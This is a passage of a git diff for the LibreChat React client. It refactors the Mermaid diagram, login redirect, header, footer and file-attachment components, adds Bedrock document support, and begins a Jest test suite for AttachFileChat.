-        const isNearBottom = scrollHeight - scrollTop - clientHeight < 50;
-
-        if (!isNearBottom) {
-          setUserScrolled(true);
-        } else {
-          setUserScrolled(false);
-        }
-      };
-
-      scrollContainer.addEventListener('scroll', handleScroll);
-
-      return () => {
-        scrollContainer.removeEventListener('scroll', handleScroll);
-      };
-    }, []);
-
-    useEffect(() => {
-      const scrollContainer = scrollRef.current;
-      if (!scrollContainer || !isSubmitting || userScrolled) {
-        return;
-      }
-
-      scrollContainer.scrollTop = scrollContainer.scrollHeight;
-    }, [content, isSubmitting, userScrolled]);
-
-    return (
-      <div ref={scrollRef} className="max-h-full overflow-y-auto">
-        <ReactMarkdown
-          /* @ts-ignore */
-          rehypePlugins={rehypePlugins}
-          components={
-            { code } as {
-              [key: string]: React.ElementType;
-            }
-          }
-        >
-          {currentContent}
-        </ReactMarkdown>
-      </div>
-    );
-  },
-);
-
 export const CopyCodeButton: React.FC<{ content: string }> = ({ content }) => {
   const localize = useLocalize();
   const [isCopied, setIsCopied] = useState(false);
diff --git a/client/src/components/Artifacts/Mermaid.tsx b/client/src/components/Artifacts/Mermaid.tsx
index f7291998a4..5eb55be3ae 100644
--- a/client/src/components/Artifacts/Mermaid.tsx
+++ b/client/src/components/Artifacts/Mermaid.tsx
@@ -1,153 +1,123 @@
-import React, { useEffect, useRef, useState } from 'react';
+import React, { useEffect, useRef, useState, useCallback } from 'react';
 import mermaid from 'mermaid';
 import { Button } from '@librechat/client';
-import { TransformWrapper, TransformComponent, ReactZoomPanPinchRef } from 'react-zoom-pan-pinch';
-import { ZoomIn, ZoomOut, RefreshCw } from 'lucide-react';
+import { ZoomIn, ZoomOut, RotateCcw } from 'lucide-react';
+import { TransformWrapper, TransformComponent } from 'react-zoom-pan-pinch';
+import type { ReactZoomPanPinchRef } from 'react-zoom-pan-pinch';
+import { artifactFlowchartConfig } from '~/utils/mermaid';
 
 interface MermaidDiagramProps {
   content: string;
+  isDarkMode?: boolean;
 }
 
-/** Note: this is just for testing purposes, don't actually use this component */
-const MermaidDiagram: React.FC<MermaidDiagramProps> = ({ content }) => {
+const MermaidDiagram: React.FC<MermaidDiagramProps> = ({ content, isDarkMode = true }) => {
   const mermaidRef = useRef<HTMLDivElement>(null);
   const transformRef = useRef<ReactZoomPanPinchRef>(null);
   const [isRendered, setIsRendered] = useState(false);
+  const theme = isDarkMode ? 'dark' : 'neutral';
+  const bgColor = isDarkMode ? '#212121' : '#FFFFFF';
 
   useEffect(() => {
     mermaid.initialize({
       startOnLoad: false,
-      theme: 'base',
+      theme,
       securityLevel: 'sandbox',
-      themeVariables: {
-        background: '#282C34',
-        primaryColor: '#333842',
-        secondaryColor: '#333842',
-        tertiaryColor: '#333842',
-        primaryTextColor: '#ABB2BF',
-        secondaryTextColor: '#ABB2BF',
-        lineColor: '#636D83',
-        fontSize: '16px',
-        nodeBorder: '#636D83',
-        mainBkg: '#282C34',
-        altBackground: '#282C34',
-        textColor: '#ABB2BF',
-        edgeLabelBackground: '#282C34',
-        clusterBkg: '#282C34',
-        clusterBorder: '#636D83',
-        labelBoxBkgColor: '#333842',
-        labelBoxBorderColor: '#636D83',
-        labelTextColor: '#ABB2BF',
-      },
-      flowchart: {
-        curve: 'basis',
-        nodeSpacing: 50,
-        rankSpacing: 50,
-        diagramPadding: 8,
-        htmlLabels: true,
-        useMaxWidth: true,
-        padding: 15,
-        wrappingWidth: 200,
-      },
+      flowchart: artifactFlowchartConfig,
     });
 
     const renderDiagram = async () => {
-      if (mermaidRef.current) {
-        try {
-          const { svg } = await mermaid.render('mermaid-diagram', content);
-          mermaidRef.current.innerHTML = svg;
+      if (!mermaidRef.current) {
+        return;
+      }
 
-          const svgElement = mermaidRef.current.querySelector('svg');
-          if (svgElement) {
-            svgElement.style.width = '100%';
-            svgElement.style.height = '100%';
+      try {
+        const { svg } = await mermaid.render('mermaid-diagram', content);
+        mermaidRef.current.innerHTML = svg;
 
-            const pathElements = svgElement.querySelectorAll('path');
-            pathElements.forEach((path) => {
-              path.style.strokeWidth = '1.5px';
-            });
-
-            const rectElements = svgElement.querySelectorAll('rect');
-            rectElements.forEach((rect) => {
-              const parent = rect.parentElement;
-              if (parent && parent.classList.contains('node')) {
-                rect.style.stroke = '#636D83';
-                rect.style.strokeWidth = '1px';
-              } else {
-                rect.style.stroke = 'none';
-              }
-            });
-          }
-          setIsRendered(true);
-        } catch (error) {
-          console.error('Mermaid rendering error:', error);
+        const svgElement = mermaidRef.current.querySelector('svg');
+        if (svgElement) {
+          svgElement.style.width = '100%';
+          svgElement.style.height = '100%';
+        }
+        setIsRendered(true);
+      } catch (error) {
+        console.error('Mermaid rendering error:', error);
+        if (mermaidRef.current) {
           mermaidRef.current.innerHTML = 'Error rendering diagram';
         }
       }
     };
 
     renderDiagram();
-  }, [content]);
+  }, [content, theme]);
 
-  const centerAndFitDiagram = () => {
+  const centerAndFitDiagram = useCallback(() => {
     if (transformRef.current && mermaidRef.current) {
       const { centerView, zoomToElement } = transformRef.current;
       zoomToElement(mermaidRef.current as HTMLElement);
       centerView(1, 0);
     }
-  };
+  }, []);
 
   useEffect(() => {
     if (isRendered) {
       centerAndFitDiagram();
     }
-  }, [isRendered]);
+  }, [isRendered, centerAndFitDiagram]);
 
-  const handlePanning = () => {
-    if (transformRef.current) {
-      const { state, instance } = (transformRef.current as ReactZoomPanPinchRef | undefined) ?? {};
-      if (!state || !instance) {
-        return;
-      }
-      const { scale, positionX, positionY } = state;
-      const { wrapperComponent, contentComponent } = instance;
-
-      if (wrapperComponent && contentComponent) {
-        const wrapperRect = wrapperComponent.getBoundingClientRect();
-        const contentRect = contentComponent.getBoundingClientRect();
-        const maxX = wrapperRect.width - contentRect.width * scale;
-        const maxY = wrapperRect.height - contentRect.height * scale;
-
-        let newX = positionX;
-        let newY = positionY;
-
-        if (newX > 0) {
-          newX = 0;
-        }
-        if (newY > 0) {
-          newY = 0;
-        }
-        if (newX < maxX) {
-          newX = maxX;
-        }
-        if (newY < maxY) {
-          newY = maxY;
-        }
-
-        if (newX !== positionX || newY !== positionY) {
-          instance.setTransformState(scale, newX, newY);
-        }
-      }
+  const handlePanning = useCallback(() => {
+    if (!transformRef.current) {
+      return;
     }
-  };
+
+    const { state, instance } = transformRef.current;
+    if (!state || !instance) {
+      return;
+    }
+    const { scale, positionX, positionY } = state;
+    const { wrapperComponent, contentComponent } = instance;
+
+    if (!wrapperComponent || !contentComponent) {
+      return;
+    }
+
+    const wrapperRect = wrapperComponent.getBoundingClientRect();
+    const contentRect = contentComponent.getBoundingClientRect();
+    const maxX = wrapperRect.width - contentRect.width * scale;
+    const maxY = wrapperRect.height - contentRect.height * scale;
+
+    let newX = positionX;
+    let newY = positionY;
+
+    if (newX > 0) {
+      newX = 0;
+    }
+    if (newY > 0) {
+      newY = 0;
+    }
+    if (newX < maxX) {
+      newX = maxX;
+    }
+    if (newY < maxY) {
+      newY = maxY;
+    }
+
+    if (newX !== positionX || newY !== positionY) {
+      instance.setTransformState(scale, newX, newY);
+    }
+  }, []);
 
   return (
-    <div className="relative h-screen w-screen cursor-move bg-[#282C34] p-5">
+    <div
+      className="relative h-screen w-screen cursor-move p-5"
+      style={{ backgroundColor: bgColor }}
+    >
       <TransformWrapper
         ref={transformRef}
         initialScale={1}
         minScale={0.1}
-        maxScale={4}
+        maxScale={10}
         limitToBounds={false}
         centerOnInit={true}
         initialPositionY={0}
@@ -174,7 +144,7 @@ const MermaidDiagram: React.FC<MermaidDiagramProps> = ({ content }) => {
                 <ZoomOut className="h-4 w-4" />
               </Button>
               <Button onClick={centerAndFitDiagram} variant="outline" size="icon">
-                <RefreshCw className="h-4 w-4" />
+                <RotateCcw className="h-4 w-4" />
               </Button>
             </div>
           </>
diff --git a/client/src/components/Auth/Login.tsx b/client/src/components/Auth/Login.tsx
index 48a506879f..7c3adf51bd 100644
--- a/client/src/components/Auth/Login.tsx
+++ b/client/src/components/Auth/Login.tsx
@@ -1,15 +1,19 @@
 import { useEffect, useState } from 'react';
 import { ErrorTypes, registerPage } from 'librechat-data-provider';
 import { OpenIDIcon, useToastContext } from '@librechat/client';
-import { useOutletContext, useSearchParams } from 'react-router-dom';
+import { useOutletContext, useSearchParams, useLocation } from 'react-router-dom';
 import type { TLoginLayoutContext } from '~/common';
+import { getLoginError, persistRedirectToSession } from '~/utils';
 import { ErrorMessage } from '~/components/Auth/ErrorMessage';
 import SocialButton from '~/components/Auth/SocialButton';
 import { useAuthContext } from '~/hooks/AuthContext';
-import { getLoginError } from '~/utils';
 import { useLocalize } from '~/hooks';
 import LoginForm from './LoginForm';
 
+interface LoginLocationState {
+  redirect_to?: string;
+}
+
 function Login() {
   const localize = useLocalize();
   const { showToast } = useToastContext();
@@ -17,13 +21,22 @@ function Login() {
   const { startupConfig } = useOutletContext<TLoginLayoutContext>();
 
   const [searchParams, setSearchParams] = useSearchParams();
-  // Determine if auto-redirect should be disabled based on the URL parameter
+  const location = useLocation();
   const disableAutoRedirect = searchParams.get('redirect') === 'false';
 
-  // Persist the disable flag locally so that once detected, auto-redirect stays disabled.
   const [isAutoRedirectDisabled, setIsAutoRedirectDisabled] = useState(disableAutoRedirect);
 
   useEffect(() => {
+    const redirectTo = searchParams.get('redirect_to');
+    if (redirectTo) {
+      persistRedirectToSession(redirectTo);
+    } else {
+      const state = location.state as LoginLocationState | null;
+      if (state?.redirect_to) {
+        persistRedirectToSession(state.redirect_to);
+      }
+    }
+
     const oauthError = searchParams?.get('error');
     if (oauthError && oauthError === ErrorTypes.AUTH_FAILED) {
       showToast({
@@ -34,9 +47,8 @@ function Login() {
       newParams.delete('error');
       setSearchParams(newParams, { replace: true });
     }
-  }, [searchParams, setSearchParams, showToast, localize]);
+  }, [searchParams, setSearchParams, showToast, localize, location.state]);
 
-  // Once the disable flag is detected, update local state and remove the parameter from the URL.
   useEffect(() => {
     if (disableAutoRedirect) {
       setIsAutoRedirectDisabled(true);
@@ -46,7 +58,6 @@ function Login() {
     }
   }, [disableAutoRedirect, searchParams, setSearchParams]);
 
-  // Determine whether we should auto-redirect to OpenID.
   const shouldAutoRedirect =
     startupConfig?.openidLoginEnabled &&
     startupConfig?.openidAutoRedirect &&
@@ -60,7 +71,6 @@ function Login() {
     }
   }, [shouldAutoRedirect, startupConfig]);
 
-  // Render fallback UI if auto-redirect is active.
   if (shouldAutoRedirect) {
     return (
       <div className="flex min-h-screen flex-col items-center justify-center p-4">
diff --git a/client/src/components/Chat/AddMultiConvo.tsx b/client/src/components/Chat/AddMultiConvo.tsx
index 7cabe0f336..48e9919092 100644
--- a/client/src/components/Chat/AddMultiConvo.tsx
+++ b/client/src/components/Chat/AddMultiConvo.tsx
@@ -1,17 +1,21 @@
+import { useCallback } from 'react';
+import { useSetRecoilState, useRecoilValue } from 'recoil';
 import { PlusCircle } from 'lucide-react';
 import { TooltipAnchor } from '@librechat/client';
 import { isAssistantsEndpoint } from 'librechat-data-provider';
 import type { TConversation } from 'librechat-data-provider';
-import { useChatContext, useAddedChatContext } from '~/Providers';
+import { useGetConversation, useLocalize } from '~/hooks';
 import { mainTextareaId } from '~/common';
-import { useLocalize } from '~/hooks';
+import store from '~/store';
 
 function AddMultiConvo() {
-  const { conversation } = useChatContext();
-  const { setConversation: setAddedConvo } = useAddedChatContext();
   const localize = useLocalize();
+  const getConversation = useGetConversation(0);
+  const endpoint = useRecoilValue(store.conversationEndpointByIndex(0));
+  const setAddedConvo = useSetRecoilState(store.conversationByIndex(1));
 
-  const clickHandler = () => {
+  const clickHandler = useCallback(() => {
+    const conversation = getConversation();
     const { title: _t, ...convo } = conversation ?? ({} as TConversation);
     setAddedConvo({
       ...convo,
@@ -22,13 +26,13 @@ function AddMultiConvo() {
     if (textarea) {
       textarea.focus();
     }
-  };
+  }, [getConversation, setAddedConvo]);
 
-  if (!conversation) {
+  if (!endpoint) {
     return null;
   }
 
-  if (isAssistantsEndpoint(conversation.endpoint)) {
+  if (isAssistantsEndpoint(endpoint)) {
     return null;
   }
 
diff --git a/client/src/components/Chat/Footer.tsx b/client/src/components/Chat/Footer.tsx
index 75dd853c4f..541647a8d0 100644
--- a/client/src/components/Chat/Footer.tsx
+++ b/client/src/components/Chat/Footer.tsx
@@ -1,11 +1,11 @@
-import React, { useEffect } from 'react';
-import ReactMarkdown from 'react-markdown';
+import React, { useEffect, memo } from 'react';
 import TagManager from 'react-gtm-module';
+import ReactMarkdown from 'react-markdown';
 import { Constants } from 'librechat-data-provider';
 import { useGetStartupConfig } from '~/data-provider';
 import { useLocalize } from '~/hooks';
 
-export default function Footer({ className }: { className?: string }) {
+function Footer({ className }: { className?: string }) {
   const { data: config } = useGetStartupConfig();
   const localize = useLocalize();
 
@@ -98,3 +98,8 @@ export default function Footer({ className }: { className?: string }) {
     </div>
   );
 }
+
+const MemoizedFooter = memo(Footer);
+MemoizedFooter.displayName = 'Footer';
+
+export default MemoizedFooter;
diff --git a/client/src/components/Chat/Header.tsx b/client/src/components/Chat/Header.tsx
index 40e2c6b7ad..9e44e804c9 100644
--- a/client/src/components/Chat/Header.tsx
+++ b/client/src/components/Chat/Header.tsx
@@ -1,4 +1,4 @@
-import { useMemo } from 'react';
+import { memo, useMemo } from 'react';
 import { useMediaQuery } from '@librechat/client';
 import { useOutletContext } from 'react-router-dom';
 import { AnimatePresence, motion } from 'framer-motion';
@@ -16,7 +16,7 @@ import { cn } from '~/utils';
 
 const defaultInterface = getConfigDefaults().interface;
 
-export default function Header() {
+function Header() {
   const { data: startupConfig } = useGetStartupConfig();
   const { navVisible, setNavVisible } = useOutletContext<ContextType>();
 
@@ -35,6 +35,11 @@ export default function Header() {
     permission: Permissions.USE,
   });
 
+  const hasAccessToTemporaryChat = useHasAccess({
+    permissionType: PermissionTypes.TEMPORARY_CHAT,
+    permission: Permissions.USE,
+  });
+
   const isSmallScreen = useMediaQuery('(max-width: 768px)');
 
   return (
@@ -73,7 +78,7 @@ export default function Header() {
                   <ExportAndShareMenu
                     isSharedButtonEnabled={startupConfig?.sharedLinksEnabled ?? false}
                   />
-                  <TemporaryChat />
+                  {hasAccessToTemporaryChat === true && <TemporaryChat />}
                 </>
               )}
             </div>
@@ -85,7 +90,7 @@ export default function Header() {
             <ExportAndShareMenu
               isSharedButtonEnabled={startupConfig?.sharedLinksEnabled ?? false}
             />
-            <TemporaryChat />
+            {hasAccessToTemporaryChat === true && <TemporaryChat />}
           </div>
         )}
       </div>
@@ -94,3 +99,8 @@ export default function Header() {
     </div>
   );
 }
+
+const MemoizedHeader = memo(Header);
+MemoizedHeader.displayName = 'Header';
+
+export default MemoizedHeader;
diff --git a/client/src/components/Chat/Input/ChatForm.tsx b/client/src/components/Chat/Input/ChatForm.tsx
index 45277e5b9c..fed355dcb3 100644
--- a/client/src/components/Chat/Input/ChatForm.tsx
+++ b/client/src/components/Chat/Input/ChatForm.tsx
@@ -194,7 +194,7 @@ const ChatForm = memo(({ index = 0 }: { index?: number }) => {
   const baseClasses = useMemo(
     () =>
       cn(
-        'md:py-3.5 m-0 w-full resize-none py-[13px] placeholder-black/50 bg-transparent dark:placeholder-white/50 [&:has(textarea:focus)]:shadow-[0_2px_6px_rgba(0,0,0,.05)]',
+        'md:py-3.5 m-0 w-full resize-none py-[13px] placeholder-black/60 bg-transparent dark:placeholder-white/60 [&:has(textarea:focus)]:shadow-[0_2px_6px_rgba(0,0,0,.05)]',
         isCollapsed ? 'max-h-[52px]' : 'max-h-[45vh] md:max-h-[55vh]',
         isMoreThanThreeRows ? 'pl-5' : 'px-5',
       ),
@@ -219,7 +219,6 @@ const ChatForm = memo(({ index = 0 }: { index?: number }) => {
         <div className={cn('flex w-full items-center', isRTL && 'flex-row-reverse')}>
           {showPlusPopover && !isAssistantsEndpoint(endpoint) && (
             <Mention
-              conversation={conversation}
               setShowMentionPopover={setShowPlusPopover}
               newConversation={generateConversation}
               textAreaRef={textAreaRef}
@@ -230,7 +229,6 @@ const ChatForm = memo(({ index = 0 }: { index?: number }) => {
           )}
           {showMentionPopover && (
             <Mention
-              conversation={conversation}
               setShowMentionPopover={setShowMentionPopover}
               newConversation={newConversation}
               textAreaRef={textAreaRef}
diff --git a/client/src/components/Chat/Input/Files/AttachFileChat.tsx b/client/src/components/Chat/Input/Files/AttachFileChat.tsx
index 37b3584d3e..00a0b7aaa8 100644
--- a/client/src/components/Chat/Input/Files/AttachFileChat.tsx
+++ b/client/src/components/Chat/Input/Files/AttachFileChat.tsx
@@ -2,10 +2,9 @@ import { memo, useMemo } from 'react';
 import {
   Constants,
   supportsFiles,
-  EModelEndpoint,
   mergeFileConfig,
   isAgentsEndpoint,
-  getEndpointField,
+  resolveEndpointType,
   isAssistantsEndpoint,
   getEndpointFileConfig,
 } from 'librechat-data-provider';
@@ -55,21 +54,31 @@ function AttachFileChat({
 
   const { data: endpointsConfig } = useGetEndpointsQuery();
 
-  const endpointType = useMemo(() => {
-    return (
-      getEndpointField(endpointsConfig, endpoint, 'type') ||
-      (endpoint as EModelEndpoint | undefined)
-    );
-  }, [endpoint, endpointsConfig]);
+  const agentProvider = useMemo(() => {
+    if (!isAgents || !conversation?.agent_id) {
+      return undefined;
+    }
+    const agent = agentData || agentsMap?.[conversation.agent_id];
+    return agent?.provider;
+  }, [isAgents, conversation?.agent_id, agentData, agentsMap]);
 
+  const endpointType = useMemo(
+    () => resolveEndpointType(endpointsConfig, endpoint, agentProvider),
+    [endpointsConfig, endpoint, agentProvider],
+  );
+
+  const fileConfigEndpoint = useMemo(
+    () => (isAgents && agentProvider ? agentProvider : endpoint),
+    [isAgents, agentProvider, endpoint],
+  );
   const endpointFileConfig = useMemo(
     () =>
       getEndpointFileConfig({
-        endpoint,
         fileConfig,
         endpointType,
+        endpoint: fileConfigEndpoint,
       }),
-    [endpoint, fileConfig, endpointType],
+    [fileConfigEndpoint, fileConfig, endpointType],
   );
   const endpointSupportsFiles: boolean = useMemo(
     () => supportsFiles[endpointType ?? endpoint ?? ''] ?? false,
diff --git a/client/src/components/Chat/Input/Files/AttachFileMenu.tsx b/client/src/components/Chat/Input/Files/AttachFileMenu.tsx
index 218328b086..62072e49e5 100644
--- a/client/src/components/Chat/Input/Files/AttachFileMenu.tsx
+++ b/client/src/components/Chat/Input/Files/AttachFileMenu.tsx
@@ -8,13 +8,6 @@ import {
   FileImageIcon,
   TerminalSquareIcon,
 } from 'lucide-react';
-import {
-  Providers,
-  EToolResources,
-  EModelEndpoint,
-  defaultAgentCapabilities,
-  isDocumentSupportedProvider,
-} from 'librechat-data-provider';
 import {
   FileUpload,
   TooltipAnchor,
@@ -22,6 +15,14 @@ import {
   AttachmentIcon,
   SharePointIcon,
 } from '@librechat/client';
+import {
+  Providers,
+  EToolResources,
+  EModelEndpoint,
+  defaultAgentCapabilities,
+  bedrockDocumentExtensions,
+  isDocumentSupportedProvider,
+} from 'librechat-data-provider';
 import type { EndpointFileConfig } from 'librechat-data-provider';
 import {
   useAgentToolPermissions,
@@ -37,14 +38,19 @@ import { ephemeralAgentByConvoId } from '~/store';
 import { MenuItemProps } from '~/common';
 import { cn } from '~/utils';
 
-type FileUploadType = 'image' | 'document' | 'image_document' | 'image_document_video_audio';
+type FileUploadType =
+  | 'image'
+  | 'document'
+  | 'image_document'
+  | 'image_document_extended'
+  | 'image_document_video_audio';
 
 interface AttachFileMenuProps {
   agentId?: string | null;
   endpoint?: string | null;
   disabled?: boolean | null;
   conversationId: string;
-  endpointType?: EModelEndpoint;
+  endpointType?: EModelEndpoint | string;
   endpointFileConfig?: EndpointFileConfig;
   useResponsesApi?: boolean;
 }
@@ -99,6 +105,8 @@ const AttachFileMenu = ({
       inputRef.current.accept = '.pdf,application/pdf';
     } else if (fileType === 'image_document') {
       inputRef.current.accept = 'image/*,.heif,.heic,.pdf,application/pdf';
+    } else if (fileType === 'image_document_extended') {
+      inputRef.current.accept = `image/*,.heif,.heic,${bedrockDocumentExtensions}`;
     } else if (fileType === 'image_document_video_audio') {
       inputRef.current.accept = 'image/*,.heif,.heic,.pdf,application/pdf,video/*,audio/*';
     } else {
@@ -134,6 +142,11 @@ const AttachFileMenu = ({
             let fileType: Exclude<FileUploadType, 'image' | 'document'> = 'image_document';
             if (currentProvider === Providers.GOOGLE || currentProvider === Providers.OPENROUTER) {
               fileType = 'image_document_video_audio';
+            } else if (
+              currentProvider === Providers.BEDROCK ||
+              endpointType === EModelEndpoint.bedrock
+            ) {
+              fileType = 'image_document_extended';
             }
             onAction(fileType);
           },
diff --git a/client/src/components/Chat/Input/Files/DragDropModal.tsx b/client/src/components/Chat/Input/Files/DragDropModal.tsx
index a59a7e3e9d..cb5109c866 100644
--- a/client/src/components/Chat/Input/Files/DragDropModal.tsx
+++ b/client/src/components/Chat/Input/Files/DragDropModal.tsx
@@ -1,14 +1,6 @@
 import React, { useMemo } from 'react';
 import { useRecoilValue } from 'recoil';
 import { OGDialog, OGDialogTemplate } from '@librechat/client';
-import {
-  Providers,
-  inferMimeType,
-  EToolResources,
-  EModelEndpoint,
-  defaultAgentCapabilities,
-  isDocumentSupportedProvider,
-} from 'librechat-data-provider';
 import {
   ImageUpIcon,
   FileSearch,
@@ -16,6 +8,15 @@ import {
   FileImageIcon,
   TerminalSquareIcon,
 } from 'lucide-react';
+import {
+  Providers,
+  inferMimeType,
+  EToolResources,
+  EModelEndpoint,
+  isBedrockDocumentType,
+  defaultAgentCapabilities,
+  isDocumentSupportedProvider,
+} from 'librechat-data-provider';
 import {
   useAgentToolPermissions,
   useAgentCapabilities,
@@ -77,20 +78,26 @@ const DragDropModal = ({ onOptionSelect, setShowModal, files, isVisible }: DragD
     ) {
       const supportsImageDocVideoAudio =
         currentProvider === EModelEndpoint.google || currentProvider === Providers.OPENROUTER;
-      const validFileTypes = supportsImageDocVideoAudio
-        ? files.every((file) => {
-            const type = getFileType(file);
-            return (
-              type?.startsWith('image/') ||
-              type?.startsWith('video/') ||
-              type?.startsWith('audio/') ||
-              type === 'application/pdf'
-            );
-          })
-        : files.every((file) => {
-            const type = getFileType(file);
-            return type?.startsWith('image/') || type === 'application/pdf';
-          });
+      const isBedrock =
+        currentProvider === Providers.BEDROCK || endpointType === EModelEndpoint.bedrock;
+
+      const isValidProviderFile = (file: File): boolean => {
+        const type = getFileType(file);
+        if (supportsImageDocVideoAudio) {
+          return (
+            type?.startsWith('image/') ||
+            type?.startsWith('video/') ||
+            type?.startsWith('audio/') ||
+            type === 'application/pdf'
+          );
+        }
+        if (isBedrock) {
+          return type?.startsWith('image/') || isBedrockDocumentType(type);
+        }
+        return type?.startsWith('image/') || type === 'application/pdf';
+      };
+
+      const validFileTypes = files.every(isValidProviderFile);
 
       _options.push({
         label: localize('com_ui_upload_provider'),
diff --git a/client/src/components/Chat/Input/Files/DragDropOverlay.tsx b/client/src/components/Chat/Input/Files/DragDropOverlay.tsx
index f5f45e2b88..43700206c3 100644
--- a/client/src/components/Chat/Input/Files/DragDropOverlay.tsx
+++ b/client/src/components/Chat/Input/Files/DragDropOverlay.tsx
@@ -36,7 +36,7 @@ const DragDropOverlay = memo(({ isActive }: DragDropOverlayProps) => {
         }}
       >
         {/** Content area with subtle background */}
-        <div className="bg-surface-primary/95 flex flex-col items-center rounded-lg p-8 shadow-xl">
+        <div className="flex flex-col items-center rounded-lg bg-surface-primary p-8 shadow-xl">
           <svg
             xmlns="http://www.w3.org/2000/svg"
             viewBox="0 0 132 108"
diff --git a/client/src/components/Chat/Input/Files/FileRow.tsx b/client/src/components/Chat/Input/Files/FileRow.tsx
index ea0b648015..bf04b16ade 100644
--- a/client/src/components/Chat/Input/Files/FileRow.tsx
+++ b/client/src/components/Chat/Input/Files/FileRow.tsx
@@ -3,10 +3,10 @@ import { useToastContext } from '@librechat/client';
 import { EToolResources } from 'librechat-data-provider';
 import type { ExtendedFile } from '~/common';
 import { useDeleteFilesMutation } from '~/data-provider';
+import { logger, getCachedPreview } from '~/utils';
 import { useFileDeletion } from '~/hooks/Files';
 import FileContainer from './FileContainer';
 import { useLocalize } from '~/hooks';
-import { logger } from '~/utils';
 import Image from './Image';
 
 export default function FileRow({
@@ -24,7 +24,7 @@ export default function FileRow({
   files: Map<string, ExtendedFile> | undefined;
   abortUpload?: () => void;
   setFiles: React.Dispatch<React.SetStateAction<Map<string, ExtendedFile>>>;
-  setFilesLoading: React.Dispatch<React.SetStateAction<boolean>>;
+  setFilesLoading?: React.Dispatch<React.SetStateAction<boolean>>;
   fileFilter?: (file: ExtendedFile) => boolean;
   assistant_id?: string;
   agent_id?: string;
@@ -58,6 +58,7 @@ export default function FileRow({
   const { deleteFile } = useFileDeletion({ mutateAsync, agent_id, assistant_id, tool_resource });
 
   useEffect(() => {
+    if (!setFilesLoading) return;
     if (files.length === 0) {
       setFilesLoading(false);
       return;
@@ -111,13 +112,15 @@ export default function FileRow({
           )
           .uniqueFiles.map((file: ExtendedFile, index: number) => {
             const handleDelete = () => {
-              showToast({
-                message: localize('com_ui_deleting_file'),
-                status: 'info',
-              });
               if (abortUpload && file.progress < 1) {
                 abortUpload();
               }
+              if (file.progress >= 1) {
+                showToast({
+                  message: localize('com_ui_deleting_file'),
+                  status: 'info',
+                });
+              }
               deleteFile({ file, setFiles });
             };
             const isImage = file.type?.startsWith('image') ?? false;
@@ -133,7 +136,7 @@ export default function FileRow({
               >
                 {isImage ? (
                   <Image
-                    url={file.progress === 1 ? file.filepath : (file.preview ?? file.filepath)}
+                    url={getCachedPreview(file.file_id) ?? file.preview ?? file.filepath}
                     onDelete={handleDelete}
                     progress={file.progress}
                     source={file.source}
diff --git a/client/src/components/Chat/Input/Files/__tests__/AttachFileChat.spec.tsx b/client/src/components/Chat/Input/Files/__tests__/AttachFileChat.spec.tsx
new file mode 100644
index 0000000000..d12c25c4a3
--- /dev/null
+++ b/client/src/components/Chat/Input/Files/__tests__/AttachFileChat.spec.tsx
@@ -0,0 +1,176 @@
+import React from 'react';
+import { render, screen } from '@testing-library/react';
+import { RecoilRoot } from 'recoil';
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
+import { EModelEndpoint, mergeFileConfig } from 'librechat-data-provider';
+import type { TEndpointsConfig, Agent } from 'librechat-data-provider';
+import AttachFileChat from '../AttachFileChat';
+
+const mockEndpointsConfig: TEndpointsConfig = {
+  [EModelEndpoint.openAI]: { userProvide: false, order: 0 },
+  [EModelEndpoint.agents]: { userProvide: false, order: 1 },
+  [EModelEndpoint.assistants]: { userProvide: false, order: 2 },
+  Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+};
+
+const mockFileConfig = mergeFileConfig({
+  endpoints: {
+    Moonshot: { fileLimit: 5 },
+    [EModelEndpoint.agents]: { fileLimit: 20 },
+    default: { fileLimit: 10 },
+  },
+});
+
+let mockAgentsMap: Record<string, Partial<Agent>> = {};
+let mockAgentQueryData: Partial<Agent> | undefined;
+
+jest.mock('~/data-provider', () => ({
+  useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
+  useGetFileConfig: ({ select }: { select?: (data: unknown) => unknown }) => ({
+    data: select != null ? select(mockFileConfig) : mockFileConfig,
+  }),
+  useGetAgentByIdQuery: () => ({ data: mockAgentQueryData }),
+}));
+
+jest.mock('~/Providers', () => ({
+  useAgentsMapContext: () => mockAgentsMap,
+}));
+
+/** Capture the props passed to AttachFileMenu */
+let mockAttachFileMenuProps: Record<string, unknown> = {};
+jest.mock('../AttachFileMenu', () => {
+  return function MockAttachFileMenu(props: Record<string, unknown>) {
+    mockAttachFileMenuProps = props;
+    return <div data-testid="attach-file-menu" data-endpoint-type={String(props.endpointType)} />;
+  };
+});
+
+jest.mock('../AttachFile', () => {
+  return function MockAttachFile() {
+    return <div data-testid="attach-file" />;
+  };
+});
+
+const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
+
+function renderComponent(conversation: Record<string, unknown> | null, disableInputs = false) {
+  return render(
+    <QueryClientProvider client={queryClient}>
+      <RecoilRoot>
+        <AttachFileChat conversation={conversation as never} disableInputs={disableInputs} />
+      </RecoilRoot>
+    </QueryClientProvider>,
+  );
+}
+
+describe('AttachFileChat', () => {
+  beforeEach(() => {
+    mockAgentsMap = {};
+    mockAgentQueryData = undefined;
+    mockAttachFileMenuProps = {};
+  });
+
+  describe('rendering decisions', () => {
+    it('renders AttachFileMenu for agents endpoint', () => {
+      renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
+      expect(screen.getByTestId('attach-file-menu')).toBeInTheDocument();
+    });
+
+    it('renders AttachFileMenu for custom endpoint with file support', () => {
+      renderComponent({ endpoint: 'Moonshot' });
+      expect(screen.getByTestId('attach-file-menu')).toBeInTheDocument();
+    });
+
+    it('renders null for null conversation', () => {
+      const { container } = renderComponent(null);
+      expect(container.innerHTML).toBe('');
+    });
+  });
+
+  describe('endpointType resolution for agents', () => {
+    it('passes custom endpointType when agent provider is a custom endpoint', () => {
+      mockAgentsMap = {
+        'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial<Agent>,
+      };
+      renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
+      expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.custom);
+    });
+
+    it('passes openAI endpointType when agent provider is openAI', () => {
+      mockAgentsMap = {
+        'agent-1': { provider: EModelEndpoint.openAI, model_parameters: {} } as Partial<Agent>,
+      };
+      renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
+      expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.openAI);
+    });
+
+    it('passes agents endpointType when no agent provider', () => {
+      renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
+      expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.agents);
+    });
+
